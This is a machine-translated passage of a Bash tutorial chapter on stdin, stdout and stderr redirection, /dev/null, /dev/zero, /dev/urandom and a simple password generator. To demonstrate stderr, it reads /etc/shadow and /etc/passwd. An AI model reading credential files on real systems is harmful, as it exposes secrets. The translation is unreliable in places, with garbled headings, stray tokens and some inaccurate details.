-lrwx------ 1 reader reader 64 Nov 5 19:08 1 -> /dev/tty/1 -lrwx------ 1 reader reader 64 Nov 5 19:08 2 -> /dev/tty/1 -``` - -每个连接都有自己的`/dev/`底座(属于`udev`类型,存储在内存中),这就是为什么我们看不到从一个连接到另一个连接的输出。 - -现在,我们已经讨论了输入和输出。但是,正如您无疑已经看到的,在前面的示例中分配了三个文件描述符。在 Linux(或类似 Unix/Unix 的系统)中,有三个默认的**流**,默认情况下通过文件描述符公开: - -* *标准输入*流,`stdin`,默认绑定到`/dev/fd/0` -* *标准输出*流,`stdout`,默认绑定到`/dev/fd/1` -* *标准错误*流,`stderr`,默认绑定到`/dev/fd/2` - -就这三个流而言,`stdin`和`stdout`应该相当简单:输入和输出。然而,正如您可能已经推断的那样,输出实际上分为*正常*输出和*错误*输出。正常输出发送到`stdout`文件描述符,而错误输出通常发送到`stderr`。 - -因为这两者都象征性地与终端相联系,所以无论如何你都会在那里看到它们。然而,正如我们将在本章后面看到的,一旦我们开始重定向,这种差异就变得很重要。 - -You might see some other file descriptors, such as the 255 in the first example. Besides their use in supplying input and output to the Terminal, file descriptors are also used when Linux opens a file in the filesystem. This other use of file descriptors is outside of the scope for this book; we have, however, included a link in the *Further reading* section for those interested. - -在正常交互中,您在终端中键入的文本会被写入`/dev/fd/0`上的`stdin`,命令可以读取该文本。使用这个输入,命令通常会做一些事情(否则,我们就不需要命令了!)并将输出写入`stdout`或`stderr`。在那里它将被终端读取并显示给你。简而言之: - -* A *终端*T5】将写入`stdin`,**从`stdout`或`stderr`读取** -* 一条*命令* **从`stdin`读取**,并**将**写入`stdout`或`stderr` - -Besides the file descriptors Linux uses internally, there are also a few file descriptors reserved for when you want to create really advanced scripts; these are 3 through 9\. Any others *might* be used by the system, but these are guaranteed free for your use. As this is, as stated, very advanced and not used too often, we will not go into detail. However, we've found some further reading which might be interesting, which is included at the end of this chapter. - -# 重定向输出 - -现在,关于输入、输出和文件描述符的理论应该清楚了,我们将看到如何在我们的命令行和脚本冒险中使用这些技术。 - -事实上,在不使用重定向的情况下编写 shell 脚本相当困难;在本章之前,我们实际上已经在书中使用了几次重定向,因为当时我们真的需要它来完成我们的工作(例如,[第 8 章](08.html)、*变量和用户输入*中的`file-create.sh`)。 - -现在,让我们获得一些重定向的真实体验! - -# 标准输出 - -命令的大部分输出将是*标准输出*,写入`/dev/fd/1`上的`stdout`。通过使用`>`符号,我们可以使用以下语法将其重定向出来: - -```sh -command > output-file -``` - -重定向总是指向一个文件(然而,正如我们所知,并非所有文件都是相同的,所以在常规示例之后,我们将向您展示一些涉及非常规文件的 Bash 魔法)。如果文件不存在,将创建它。如果存在,将被**覆盖**。 - -以最简单的形式,通常打印到终端的所有内容都可以重定向到一个文件: - -```sh -reader@ubuntu:~/scripts/chapter_12$ ls -l /var/log/dpkg.log --rw-r--r-- 1 root root 737150 Nov 5 18:49 /var/log/dpkg.log -reader@ubuntu:~/scripts/chapter_12$ cat /var/log/dpkg.log > redirected-file.log -reader@ubuntu:~/scripts/chapter_12$ ls -l -total 724 --rw-rw-r-- 1 reader reader 737150 Nov 5 19:45 redirected-file.log -``` - -如您所知,`cat`将整个文件内容打印到您的终端。实际上它实际上是把整个内容发送到`stdout`,绑定到`/dev/fd/1`,绑定到你的终端;这就是你看到它的原因。 - -现在,如果我们将文件的内容重定向回另一个文件,我们基本上已经做了很大的努力...复制文件!从文件大小可以看出,它实际上是同一个文件。如果不确定,可以使用`diff`命令查看文件是否相同: - -```sh -reader@ubuntu:~/scripts/chapter_12$ diff /var/log/dpkg.log redirected-file.log -reader@ubuntu:~/scripts/chapter_12$ echo $? -0 -``` - -如果`diff`没有返回任何输出,并且它有一个退出代码`0`,则文件中没有差异。 - -回到重定向的例子。我们使用`>`将输出重定向到文件。实际上,`>`是`1>`的简称。你可能会认出这个`1`:它指的是文件描述符`/dev/fd/1`。正如我们将在处理`stderr`时看到的,它在`/dev/fd/2`上,我们将使用`2>`而不是`1>`或`>`。 - -但是,首先,让我们构建一个简单的脚本来进一步说明这一点: - -```sh -reader@ubuntu:~/scripts/chapter_12$ vim redirect-to-file.sh -reader@ubuntu:~/scripts/chapter_12$ cat redirect-to-file.sh -#!/bin/bash - -##################################### -# Author: Sebastiaan Tammer -# Version: v1.0.0 -# Date: 2018-11-05 -# Description: Redirect user input to file. -# Usage: ./redirect-to-file.sh -##################################### - -# Capture the users' input. -read -p "Type anything you like: " user_input - -# Save the users' input to a file. -echo ${user_input} > redirect-to-file.txt -``` - -现在,当我们运行这个时,`read`会提示我们输入一些文本。这将保存在`user_input`变量中。然后,我们将使用`echo`将`user_input`变量的内容发送到`stdout`。但是,不是通过`/dev/fd/1`到达`/dev/pts/0`上的终端,而是重定向到`redirect-to-file.txt`文件。 - -总之,它看起来像这样: - -```sh -reader@ubuntu:~/scripts/chapter_12$ bash redirect-to-file.sh -Type anything you like: I like dogs! And cats. Maybe a gecko? -reader@ubuntu:~/scripts/chapter_12$ ls -l -total 732 --rw-rw-r-- 1 reader reader 737150 Nov 5 19:45 redirected-file.log --rw-rw-r-- 1 reader reader 383 Nov 5 19:58 redirect-to-file.sh --rw-rw-r-- 1 reader reader 38 Nov 5 19:58 redirect-to-file.txt -reader@ubuntu:~/scripts/chapter_12$ cat redirect-to-file.txt -I like dogs! And cats. Maybe a gecko? -``` - -现在,这和广告宣传的一样。但是,如果我们再次运行它,我们会看到这个脚本可能会出现两个问题: - -```sh -reader@ubuntu:~/scripts$ bash chapter_12/redirect-to-file.sh -Type anything you like: Hello -reader@ubuntu:~/scripts$ ls -l - -drwxrwxr-x 2 reader reader 4096 Nov 5 19:58 chapter_12 --rw-rw-r-- 1 reader reader 6 Nov 5 20:02 redirect-to-file.txt -reader@ubuntu:~/scripts$ bash chapter_12/redirect-to-file.sh -Type anything you like: Bye -reader@ubuntu:~/scripts$ ls -l - -drwxrwxr-x 2 reader reader 4096 Nov 5 19:58 chapter_12 --rw-rw-r-- 1 reader reader 4 Nov 5 20:02 redirect-to-file.txt -``` - -我们之前已经警告过,第一件出错的事情是相对路径可能会在写入文件的地方出错。 - -您可能已经预见到文件就在脚本旁边创建;只有当您的*当前工作目录*在脚本所在的目录中时,才会发生这种情况。因为我们从树的较低位置调用它,所以输出被写到那里(因为那是当前的工作目录)。 - -另一个问题是,每次我们输入内容时,我们都会删除文件的旧内容!在我们键入`Hello`之后,我们看到文件是六个字节(每个字符一个字节,加上一个换行符),在我们键入`Bye`之后,我们现在看到文件只有四个字节(三个字符加上换行符)。 - -这可能是期望的行为,但是如果输出被*附加到文件*而不是替换它,通常会好得多。 - -让我们在新版本的脚本中解决这两个问题: - -```sh -reader@ubuntu:~/scripts$ vim chapter_12/redirect-to-file.sh -reader@ubuntu:~/scripts$ cat chapter_12/redirect-to-file.sh -#!/bin/bash - -##################################### -# Author: Sebastiaan Tammer -# Version: v1.1.0 -# Date: 2018-11-05 -# Description: Redirect user input to file. -# Usage: ./redirect-to-file.sh -##################################### - -# Since we're dealing with paths, set current working directory. -cd $(dirname $0) - -# Capture the users' input. -read -p "Type anything you like: " user_input - -# Save the users' input to a file. > for overwrite, >> for append. -echo ${user_input} >> redirect-to-file.txt -``` - -现在,如果我们运行它(从任何地方),我们将看到新的文本被附加到第一句话中,`/home/reader/chapter_12/redirect-to-file.txt`文件中的`I like dogs! And cats. Maybe a gecko?`: - -```sh -reader@ubuntu:~/scripts$ cd /tmp/ -reader@ubuntu:/tmp$ cat /home/reader/scripts/chapter_12/redirect-to-file.txt -I like dogs! And cats. Maybe a gecko? -reader@ubuntu:/tmp$ bash /home/reader/scripts/chapter_12/redirect-to-file.sh -Type anything you like: Definitely a gecko, those things are awesome! -reader@ubuntu:/tmp$ cat /home/reader/scripts/chapter_12/redirect-to-file.txt -I like dogs! And cats. Maybe a gecko? -Definitely a gecko, those things are awesome! -``` - -所以,`cd $(dirname $0)`帮助我们找到了相对路径,一个`>>`而不是`>`保证了追加而不是覆盖。正如你所料,`>>`又是`1>>`的缩写,我们将在稍后开始重定向`stderr`流时看到。 - -不久前,我们答应给你一些巴什魔法。虽然不完全是魔法,但可能会伤到你的头一点点: - -```sh -reader@ubuntu:~/scripts/chapter_12$ cat redirect-to-file.txt -I like dogs! And cats. Maybe a gecko? -Definitely a gecko, those things are awesome! -reader@ubuntu:~/scripts/chapter_12$ cat redirect-to-file.txt > /dev/pts/0 -I like dogs! And cats. Maybe a gecko? -Definitely a gecko, those things are awesome! -reader@ubuntu:~/scripts/chapter_12$ cat redirect-to-file.txt > /dev/fd/1 -I like dogs! And cats. Maybe a gecko? -Definitely a gecko, those things are awesome! -reader@ubuntu:~/scripts/chapter_12$ cat redirect-to-file.txt > /dev/fd/2 -I like dogs! And cats. Maybe a gecko? -Definitely a gecko, those things are awesome! -``` - -因此,我们总共使用`cat`打印了四次文件。你可能会想,我们也可以用`for`做到这一点,但教训不是我们打印信息的次数,而是我们是如何做到的! - -第一,我们刚刚用了`cat`;那里没什么特别的。接下来,我们将`cat`与`stdout`重定向到我们的终端`/dev/pts/0`结合使用。再次打印消息。 - -第三次和第四次,我们把`cat`的重定向`stdout`发送到`/dev/fd/1`和`/dev/fd/2`。由于这些符号与`/dev/pts/0`相关联,因此这些符号出现在我们的终端上也就不足为奇了。 - -那么我们实际上如何区分`stdout`和`stderr`? - -# 标准错误 - -如果你被前面的例子弄糊涂了,那可能是因为你误解了`stderr`消息所带的流程(我们不怪你,我们在那里把自己搞糊涂了!).当我们将`cat`命令的输出发送到`/dev/fd/2`时,我们使用了`>`,它发送`stdout`而不是`stderr`。 - -所以在我们的例子中,我们只是滥用`stderr`文件描述符打印到终端;糟糕的做法。我们保证不再做了。那么,我们怎样才能让*实际上*处理`stderr`消息呢? - -```sh -reader@ubuntu:/tmp$ cat /root/ -cat: /root/: Permission denied -reader@ubuntu:/tmp$ cat /root/ 1> error-file -cat: /root/: Permission denied -reader@ubuntu:/tmp$ ls -l --rw-rw-r-- 1 reader reader 0 Nov 5 20:35 error-file -reader@ubuntu:/tmp$ cat /root/ 2> error-file -reader@ubuntu:/tmp$ ls -l --rw-rw-r-- 1 reader reader 31 Nov 5 20:35 error-file -reader@ubuntu:/tmp$ cat error-file -cat: /root/: Permission denied -``` - -这种互动应该能说明一些事情。第一,当`cat /root/`抛出`Permission denied`错误时,发送到`stderr`而不是`stdout`。我们可以看到这一点,因为当我们执行相同的命令,但我们试图用`1> error-file`重定向*标准* *输出*时,我们仍然在终端中看到输出*,我们还看到`error-file`为空。* - -当我们改为使用`2> error-file`,它重定向`stderr`而不是常规的`stdout`,我们不再在我们的终端中看到错误信息。 - -更好的是,我们现在看到`error-file`有 31 字节的内容,当我们用`cat`打印时,我们又一次看到了我们重定向的错误消息!如前所述,本着与`1>>`相同的精神,如果您想将*追加到*而不是*将*覆盖到一个文件中,请使用`2>>`。 - -现在,因为很难找到一个同时打印`stdout`和`stderr`的命令,我们将创建自己的命令:一个非常简单的 C 程序,打印两行文本,一行到`stdout`,一行到`stderr`。 - -作为编程和编译的预演,看看这个(如果你不完全理解,不要担心): - -```sh -reader@ubuntu:~/scripts/chapter_12$ vim stderr.c -reader@ubuntu:~/scripts/chapter_12$ cat stderr.c -#include -int main() -{ - // Print messages to stdout and stderr. - fprintf(stdout, "This is sent to stdout.\n"); - fprintf(stderr, "This is sent to stderr.\n"); - return 0; -} - -reader@ubuntu:~/scripts/chapter_12$ gcc stderr.c -o stderr -reader@ubuntu:~/scripts/chapter_12$ ls -l -total 744 --rw-rw-r-- 1 reader reader 737150 Nov 5 19:45 redirected-file.log --rw-rw-r-- 1 reader reader 501 Nov 5 20:09 redirect-to-file.sh --rw-rw-r-- 1 reader reader 84 Nov 5 20:13 redirect-to-file.txt --rwxrwxr-x 1 reader reader 8392 Nov 5 20:46 stderr --rw-rw-r-- 1 reader reader 185 Nov 5 20:46 stderr.c -``` - -`gcc stderr.c -o stderr`命令将`stderr.c`中的源代码编译成二进制`stderr`。 - -`gcc`是 GNU 编译器集合,默认情况下并不总是安装。如果你想继续这个例子,并且你得到一个关于找不到`gcc`的错误,使用`sudo apt install gcc -y`安装它。 - -如果我们运行我们的程序,我们会得到两行输出。因为这不是 Bash 脚本,所以我们不能用`bash stderr`来执行。我们需要用`chmod`制作二进制可执行文件,并用`./stderr`运行它: - -```sh -reader@ubuntu:~/scripts/chapter_12$ bash stderr -stderr: stderr: cannot execute binary file -reader@ubuntu:~/scripts/chapter_12$ chmod +x stderr -reader@ubuntu:~/scripts/chapter_12$ ./stderr -This is sent to stdout. -This is sent to stderr. -``` - -现在,让我们看看当我们开始重定向部分输出时会发生什么: - -```sh -reader@ubuntu:~/scripts/chapter_12$ ./stderr > /tmp/stdout -This is sent to stderr. -reader@ubuntu:~/scripts/chapter_12$ cat /tmp/stdout -This is sent to stdout. -``` - -因为我们只将`stdout`(最后提醒:`>`等于`1>`)重定向到完全合格的文件`/tmp/stdout`,所以`stderr`消息仍然被打印到终端。 - -反过来给出类似的结果: - -```sh -reader@ubuntu:~/scripts/chapter_12$ ./stderr 2> /tmp/stderr -This is sent to stdout. -reader@ubuntu:~/scripts/chapter_12$ cat /tmp/stderr -This is sent to stderr. -``` - -现在,当我们仅使用`2> /tmp/stderr`重定向`stderr`时,我们看到`stdout`消息出现在我们的终端中,并且`stderr`被正确重定向到`/tmp/stderr`文件。 - -我肯定你现在在问自己这个问题:我们如何将所有输出**重定向到一个文件,包括`stdout`和`stderr`?如果这是一本关于 Bash 3.x 的书,我们会有一个艰难的对话。那次对话需要我们将`stderr`重定向到`stdout`,之后我们可以使用`>`将所有输出(因为我们已经首先将`stderr`重定向到`stdout`到一个文件。** - -尽管这是合乎逻辑的方式,但是`stderr`到`stdout`的重定向实际上出现在命令的末尾。命令的结尾是这样的:`./stderr > /tmp/output 2>&1`。不是*太复杂*,而是够难的,你永远不会真的一口气记住它(这一点你可以相信我们)。 - -幸运的是,在 Bash 4.x 中,我们有了一个新的重定向命令,可以做同样的事情,但是方式更容易理解:`&>`。 - -# 重定向所有输出 - -在大多数情况下,发送到`stderr`而不是`stdout`的输出将包含明确表示您正在处理错误的单词。这将包括例如`permission denied`、`cannot execute binary file`、`syntax error near unexpected token`等等。 - -正因为如此,通常没有必要将输出分成`stdout`和`stderr`(但是,很明显,有时会有很好的功能)。在这种情况下,Bash 4.x 的加入让我们可以用一个命令重定向`stdout`和`stderr`是完美的。这个重定向可以和语法`&>`一起使用,它和我们之前看到的例子没有什么不同。 - -让我们回顾一下之前的例子,看看这是如何让我们的生活变得更轻松的: - -```sh -reader@ubuntu:~/scripts/chapter_12$ ./stderr -This is sent to stdout. -This is sent to stderr. -reader@ubuntu:~/scripts/chapter_12$ ./stderr &> /tmp/output -reader@ubuntu:~/scripts/chapter_12$ cat /tmp/output -This is sent to stderr. -This is sent to stdout. -``` - -太棒了!有了这个语法,我们不再需要担心不同的输出流。这在使用新命令时尤其实用;在这种情况下,您可能会错过有趣的错误消息,因为它们在`stderr`流未保存时丢失了。 - -冒着听起来重复的风险,将`stdout`和`stderr`追加到文件中的语法也是额外的`>` : `&>>`。 - -继续,用前面的例子试试。我们不会在这里打印它,因为现在应该很明显这是如何工作的。 - -Unsure about whether to redirect all output, or just `stdout` or `stderr`? Our advice: start with redirecting **both** to the same file. If in your use case this gives too much noise (either masking errors or normal log messages), you could always decide to redirect either of them to a file, and get the other printed in your Terminal. Often, in practice, `stderr` messages need the context provided by `stdout` messages to make sense of the error anyway, so you may as well have them conveniently located in the same file! - -# 特殊输出重定向 - -虽然发送所有输出通常是一件好事,但您会发现自己经常做的另一件事是将错误(在某些命令中可能会出现)重定向到一个特殊设备:`/dev/null`。 - -`null`有点放弃功能:它在垃圾桶和黑洞之间的某个地方。 - -# /开发/空 - -实际上,发送(实际上,写入)到`/dev/null`的所有数据都将被丢弃,但是仍然会生成一个*写操作成功*返回到调用命令。在这种情况下,这将是重定向。 - -这很重要,因为看看重定向无法成功完成时会发生什么: - -```sh -reader@ubuntu:~/scripts/chapter_12$ ./stderr &> /root/file --bash: /root/file: Permission denied -reader@ubuntu:~/scripts/chapter_12$ echo $? -1 -``` - -此操作失败(因为`reader`用户显然无法写入`root`超级用户的主目录)。 - -看看当我们用`/dev/null`做同样的事情时会发生什么: - -```sh -reader@ubuntu:~/scripts/chapter_12$ ./stderr &> /dev/null -reader@ubuntu:~/scripts/chapter_12$ echo $? -0 -reader@ubuntu:~/scripts/chapter_12$ cat /dev/null -reader@ubuntu:~/scripts/chapter_12$ -``` - -么事儿啦在那里。所有输出都消失了(由于`&>`重定向,`stdout`和`stderr`都消失了),但是命令仍然报告了`0`的理想退出状态。当我们确定数据没有了,我们就使用`cat /dev/null`,这不会产生任何结果。 - -我们将向您展示一个实际的例子,您无疑会发现自己经常在脚本中使用这个例子: - -```sh -reader@ubuntu:~/scripts/chapter_12$ vim find.sh -reader@ubuntu:~/scripts/chapter_12$ cat find.sh -#!/bin/bash - -##################################### -# Author: Sebastiaan Tammer -# Version: v1.0.0 -# Date: 2018-11-06 -# Description: Find a file. -# Usage: ./find.sh -##################################### - -# Check for the current number of arguments. -if [[ $# -ne 1 ]]; then - echo "Wrong number of arguments!" - echo "Usage: $0 " - exit 1 -fi - -# Name of the file to search for. -file_name=$1 - -# Redirect all errors to /dev/null, so they don't clutter the terminal. -find / -name "${file_name}" 2> /dev/null -``` - -除了`stderr`的`/dev/null`重定向之外,这个脚本只包含我们之前介绍过的构造。虽然这个`find.sh`脚本实际上只不过是一个简单的`find`命令的包装器,但它有很大的不同。 - -看看我们用`find`找文件`find.sh`文件会怎么样(因为为什么不呢!): - -```sh -reader@ubuntu:~/scripts/chapter_12$ find / -name find.sh -find: ‘/etc/ssl/private’: Permission denied -find: ‘/etc/polkit-1/localauthority’: Permission denied - -find: ‘/sys/fs/pstore’: Permission denied -find: ‘/sys/fs/fuse/connections/48’: Permission denied -/home/reader/scripts/chapter_12/find.sh -find: ‘/data/devops-files’: Permission denied -find: ‘/data/dev-files’: Permission denied - -``` - -我们已经削减了大约 95%的产出,因为你可能会同意五页的`Permission denied`错误没有多少价值。因为我们以普通用户的身份运行`find`,所以我们无法访问系统的许多部分。这些错误反映了这一点。 - -正如前面强调的,我们确实找到了我们的脚本,但是在您遇到它之前,它可能需要几分钟的滚动时间。这正是我们所说的错误输出淹没相关输出的意思。 - -现在,让我们用包装脚本来寻找相同的文件: - -```sh -reader@ubuntu:~/scripts/chapter_12$ bash find.sh find.sh -/home/reader/scripts/chapter_12/find.sh -``` - -开始了。同样的结果,但没有那些讨厌的错误迷惑我们。由于`Permission denied`错误被发送到`stderr`流,我们*在`find`命令后使用`2> /dev/null`删除了*错误。 - -这实际上把我们带到了另一点:您也可以使用重定向来使命令静音。我们已经看到了许多包含`--quiet`或`-q`标志的命令。有些命令,例如`find`,没有这个标志。 - -你可以说`find`有这个标志会很奇怪(不想知道文件在哪里,为什么还要搜索文件,对吧?),但可能还有其他命令,其中退出代码提供了足够的信息,但没有`--quiet`标志;这些都是将一切重新导向`/dev/null`的绝佳人选。 - -All commands are different. While most have an available `--quiet` flag by now, there will always be cases in which this does not work for you. Perhaps the `--quiet` flag only silences `stdout` and not `stderr`, or perhaps it only reduces output. In any case, knowledge about redirecting all output to `/dev/null` when you're really not interested in that output (only in the exit status) is a very good thing to have! - -# /dev/zero - -我们可以使用的另一种特殊装置是`/dev/zero`。当我们将输出重定向到`/dev/zero`时,它的作用与`/dev/null`完全相同:数据消失。然而,在实践中,`/dev/null`最常用于此目的。 - -那么,为什么会有这种特殊的装置呢?因为`/dev/zero`也可以用来读取空字节。在所有可能的 256 个字节中,空字节是第一个:十六进制`00`。例如,空字节通常用于表示命令的终止。 - -现在,我们还可以使用这些空字节向磁盘分配字节: - -```sh -reader@ubuntu:/tmp$ ls -l --rw-rw-r-- 1 reader reader 48 Nov 6 19:26 output -reader@ubuntu:/tmp$ head -c 1024 /dev/zero > allocated-file -reader@ubuntu:/tmp$ ls -l --rw-rw-r-- 1 reader reader 1024 Nov 6 20:09 allocated-file --rw-rw-r-- 1 reader reader 48 Nov 6 19:26 output -reader@ubuntu:/tmp$ cat allocated-file -reader@ubuntu:/tmp$ -``` - -通过使用`head -c 1024`,我们指定我们想要*的第一个 1024 个字符来自* `/dev/zero`。因为`/dev/zero`只提供空字节,这些都是一样的,但是我们肯定会有`1024`的。 - -我们使用`stdout`重定向将它们重定向到一个文件,然后我们看到一个大小为 1024 字节的文件(多么令人惊讶)。现在,如果我们`cat`这个文件,我们什么也看不见!同样,这不应该是一个惊喜,因为空字节就是:空,空,空。终端没有办法表示它们,所以它没有。 - -如果您需要在脚本中这样做,还有另一种选择:`fallocate`: - -```sh -reader@ubuntu:/tmp$ fallocate --length 1024 fallocated-file -reader@ubuntu:/tmp$ ls -l --rw-rw-r-- 1 reader reader 1024 Nov 6 20:09 allocated-file --rw-rw-r-- 1 reader reader 1024 Nov 6 20:13 fallocated-file --rw-rw-r-- 1 reader reader 48 Nov 6 19:26 output -reader@ubuntu:/tmp$ cat fallocated-file -reader@ubuntu:/tmp$ -``` - -从前面的输出中可以看到,这个命令确实完成了我们已经完成的`/dev/zero`读取和重定向(如果`fallocate`实际上是一个包装从`/dev/zero`读取的花哨包装,我们不会感到惊讶,但是我们不能确定这一点)。 - -# 输入重定向 - -另外两个著名的特殊设备`/dev/random`和`/dev/urandom`最好与下一个重定向一起讨论:*输入重定向*。 - -输入通常来自键盘,由终端传递给命令。最简单的例子是`read`命令:它从`stdin`开始读取,直到遇到一个换行符(当按下*回车*键时),然后将输入保存到`REPLY`变量(或者任何自定义的,如果你给了那个参数的话)。看起来有点像这样: - -```sh -reader@ubuntu:~$ read -p "Type something: " answer -Type something: Something -reader@ubuntu:~$ echo ${answer} -something -``` - -别紧张。现在,假设我们以非交互方式运行该命令,这意味着我们不能使用键盘和终端来提供信息(这不是`read`的真实用例,但这是一个很好的例子)。 - -在这种情况下,我们可以使用`stdin`的输入重定向来将输入提供给`read`。这是通过`<`字符实现的,它是`<0`的简写。还记得`stdin`文件描述符是`/dev/fd/0`吗?不是巧合。 - -让我们通过重定向`stdin`以非交互方式使用`read`来读取文件,而不是终端: - -```sh -reader@ubuntu:/tmp$ echo "Something else" > answer-file -reader@ubuntu:/tmp$ read -p "Type something: " new_answer < answer-file -reader@ubuntu:/tmp$ echo ${new_answer} -Something else -``` - -为了表明我们没有欺骗和重复使用已经存储在`${answer}`变量中的答案,我们将存储`read`回复的变量重命名为`${new_answer}`。 - -现在,在命令的末尾,我们从`answer-file`文件重定向`stdin`,这是我们首先使用`echo` +重定向`stdout`创建的。这就像在命令后面加上`< answer-file`一样简单。 - -这种重定向使得`read`从文件中读取,直到遇到换行符(这是`echo`总是以此结束字符串的便利之处)。 - -现在输入重定向的基础应该已经清楚了,让我们回到我们的特殊设备:`/dev/random`和`/dev/urandom`。这两个特殊的文件是伪随机数发生器,这是一个复杂的词,表示几乎产生*随机数据的东西。* - -在这些特殊设备的情况下,它们从设备驱动程序、鼠标移动和其他大部分随机的事物中收集*熵*(类似随机性的复杂词)。 - -`/dev/random`和`/dev/urandom`略有不同:当系统熵不够时,`/dev/random`停止产生随机输出,`/dev/urandom`继续前进。 - -如果你真的需要全熵,`/dev/random`可能是更好的选择(老实说,在这种情况下,你可能会采取其他措施),但大多数情况下,`/dev/urandom`是你的脚本中更好的选择,因为阻塞会产生难以置信的等待时间。这来自第一手经验,可能会非常不方便! - -举个例子,我们只展示`/dev/urandom`;`/dev/random`的输出类似。 - -实际上,`/dev/urandom`随机地吐出字节*。有些字节在可打印的 ASCII 字符范围内(1-9、a-z、A-Z),其他字节用于空格(0x20)或换行符(0x0A)。* - - *使用`head -1`从`/dev/urandom`中抓取“第一行”可以看出随机性。由于一行以换行符结束,命令`head -1 /dev/urandom`将打印所有内容,直到第一个换行符:可以是几个或很多个字符; - -```sh -reader@ubuntu:/tmp$ head -1 /dev/urandom -~d=G1���RB�Ҫ��"@ - F��OJ2�%�=�8�#,�t�7���M���s��Oѵ�w��k�qݙ����W��E�h��Q"x8��l�d��P�,�.:�m�[Lb/A�J�ő�M�o�v�� - � -reader@ubuntu:/tmp$ head -1 /dev/urandom -��o�u���'��+�)T�M���K�K����Y��G�g".!{R^d8L��s5c*�.đ� -``` - -我们运行的第一个实例比第二个实例打印了更多的字符(不是所有字符都可读);这可以直接与生成的字节的随机性联系起来。第二次运行`head -1 /dev/urandom`时,我们遇到了换行字节 0x0A,比第一次迭代要快。 - -# 生成密码 - -现在,您可能想知道随机字符可能会有什么用途。一个主要的例子是生成密码。长的随机密码总是好的;它们能抵抗蛮力攻击,无法被猜到,而且如果不被重用的话,**非常**安全。老实说,使用自己的 Linux 系统中的熵来生成随机密码有多酷? - -更好的是,我们可以使用来自`/dev/urandom`的输入重定向以及`tr`命令来实现这一点。一个简单的脚本如下所示: - -```sh -reader@ubuntu:~/scripts/chapter_12$ vim password-generator.sh -reader@ubuntu:~/scripts/chapter_12$ cat password-generator.sh -#!/bin/bash - -##################################### -# Author: Sebastiaan Tammer -# Version: v1.0.0 -# Date: 2018-11-06 -# Description: Generate a password. -# Usage: ./password-generator.sh -##################################### - -# Check for the current number of arguments. -if [[ $# -ne 1 ]]; then - echo "Wrong number of arguments!" - echo "Usage: $0 " - exit 1 -fi - -# Verify the length argument. -if [[ ! $1 =~ ^[[:digit:]]+$ ]]; then - echo "Please enter a length (number)." - exit 1 -fi - -password_length=$1 - -# tr grabs readable characters from input, deletes the rest. -# Input for tr comes from /dev/urandom, via input redirection. -# echo makes sure a newline is printed. -tr -dc 'a-zA-Z0-9' < /dev/urandom | head -c ${password_length} -echo -``` - -标题和输入检查,甚至是用正则表达式检查一个数字的检查,现在应该都清楚了。 - -接下来,我们使用`tr`命令和来自`/dev/urandom`的重定向输入来抓取我们的 a-z、A-Z 和 0-9 集合中的可读字符。这些是从到`head`的*管道(本章稍后将详细介绍管道),这将导致第一个 *x* 字符被打印给用户(如脚本参数中所指定的)。* - -为了确保终端格式正确,我们在没有参数的情况下快速插入`echo`;这只是打印一个换行符。就这样,我们构建了自己的*私有*、*安全*和*离线*密码生成器。甚至使用输入重定向! - -# 高级重定向 - -我们现在已经看到了输入和输出重定向,以及两者的一些实际用途。然而,我们还没有将这两种形式的重定向结合起来,这是非常可能的! - -不过,您可能不会经常使用它;大多数命令接受输入作为参数,并且通常提供一个标志,允许您指定要输出到的文件。但是知识就是力量,如果你遇到一个没有这些论点的命令,你知道你可以自己解决这个问题。 - -在命令行中尝试以下操作,并尝试理解为什么会得到您看到的结果: - -```sh -reader@ubuntu:~/scripts/chapter_12$ cat stderr.c -#include -int main() -{ - // Print messages to stdout and stderr. - fprintf(stdout, "This is sent to stdout.\n"); - fprintf(stderr, "This is sent to stderr.\n"); - return 0; -} - -reader@ubuntu:~/scripts/chapter_12$ grep 'stderr' < stderr.c - // Print messages to stdout and stderr. - fprintf(stderr, "This is sent to stderr.\n"); -reader@ubuntu:~/scripts/chapter_12$ grep 'stderr' < stderr.c > /tmp/grep-file -reader@ubuntu:~/scripts/chapter_12$ cat /tmp/grep-file - // Print messages to stdout and stderr. - fprintf(stderr, "This is sent to stderr.\n"); -``` - -如您所见,我们可以在同一行使用`<`和`>`来重定向输入和输出。首先,我们在`grep 'stderr' < stderr.c`命令中使用带有输入重定向的`grep`(这在技术上也是`grep 'stderr' stderr.c`所做的)。我们在终端中看到输出。 - -接下来,我们在该命令后面添加`> /tmp/grep-file`,这意味着我们将把`stdout`重定向到那个`/tmp/grep-file`文件。我们不再在终端中看到输出,但是当我们`cat`文件时,我们得到它,所以它被成功写入文件。 - -由于我们在本章的高级部分,我们将演示输入重定向放在哪里并不重要: - -```sh -reader@ubuntu:~/scripts/chapter_12$ < stderr.c grep 'stdout' > /tmp/grep-file-stdout -reader@ubuntu:~/scripts/chapter_12$ cat /tmp/grep-file-stdout - // Print messages to stdout and stderr. - fprintf(stdout, "This is sent to stdout.\n"); -``` - -这里,我们在命令的开头指定了输入重定向。对我们来说,当您考虑流程时,这感觉像是更符合逻辑的方法,但这会导致实际命令(`grep`)出现在命令的大致中间,这会弄乱可读性。 - -这主要是一个没有实际意义的问题,因为在实践中,我们发现输入和输出重定向的用处都很小;即使在这个例子中,我们也只是将命令写成`grep 'stdout' stderr.c > /tmp/grep-file-stdout`,混乱的结构就消失了。 - -但是真正了解输入和输出是怎么回事,以及一些命令是如何为你做一些繁重的工作的,是值得你花时间的!这些正是您在更复杂的脚本中会遇到的问题,完全理解这一点将为您节省大量的故障排除时间。 - -# 重定向重定向 - -我们已经给你一个重定向过程的预览。最著名的例子是将`stderr`流重定向到`stdout`流,这个例子在 Bash 4.x 之前使用最多。通过这样做,您可以仅使用`>`语法重定向*所有*输出。 - -你可以这样实现: - -```sh -reader@ubuntu:/tmp$ cat /etc/shadow -cat: /etc/shadow: Permission denied -reader@ubuntu:/tmp$ cat /etc/shadow > shadow -cat: /etc/shadow: Permission denied -reader@ubuntu:/tmp$ cat shadow -#Still empty, since stderr wasn't redirected to the file. -reader@ubuntu:/tmp$ cat /etc/shadow > shadow 2>&1 -#Redirect fd2 to fd1 (stderr to stdout). -reader@ubuntu:/tmp$ cat shadow -cat: /etc/shadow: Permission denied -``` - -请记住,您不再需要 Bash 4.x 的这种语法,但是如果您想使用自己的自定义文件描述符作为输入/输出流,这将是有用的知识。通过以`2>&1`结束命令,我们将所有`stderr`输出(`2>`)写入`stdout`描述符(`&1`)。 - -我们也可以反过来做: - -```sh -reader@ubuntu:/tmp$ head -1 /etc/passwd -root:x:0:0:root:/root:/bin/bash -reader@ubuntu:/tmp$ head -1 /etc/passwd 2> passwd -root:x:0:0:root:/root:/bin/bash 